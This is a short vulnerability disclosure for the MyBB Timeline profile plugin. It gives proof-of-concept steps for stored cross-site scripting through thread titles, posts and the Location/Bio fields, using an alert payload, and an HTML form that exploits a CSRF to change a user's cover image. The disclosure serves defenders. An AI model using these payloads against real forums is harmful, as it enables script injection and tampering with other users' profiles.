  1. Description:
  MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed.
   
  
  2. Proof of Concept:
  
  ~ XSS via Thread/Post ~
  - Make a new thread or reply to an existing thread
  - Input a payload in either the thread title or main post itself <script>alert('XSS')</script>
  Payload will execute when visiting your profile.
  
  ~ XSS via Location/Bio ~
  - Go to User CP -> Edit Profile
  - Input a payload in the Location/Bio <script>alert('XSS')</script>
  Payload will execute when visiting your profile.
  
  ~ CSRF ~
  <form class="coverpicForm" action="http://localhost/mybb/timeline.php?action=profile&uid=1" style="display: block;">
  	<input type="text" name="coverpic" placeholder="Add Image URL" required="">
  	<input type="hidden" name="do_coverpic" value="change">
  	<input type="submit" value="Change">
  </form>
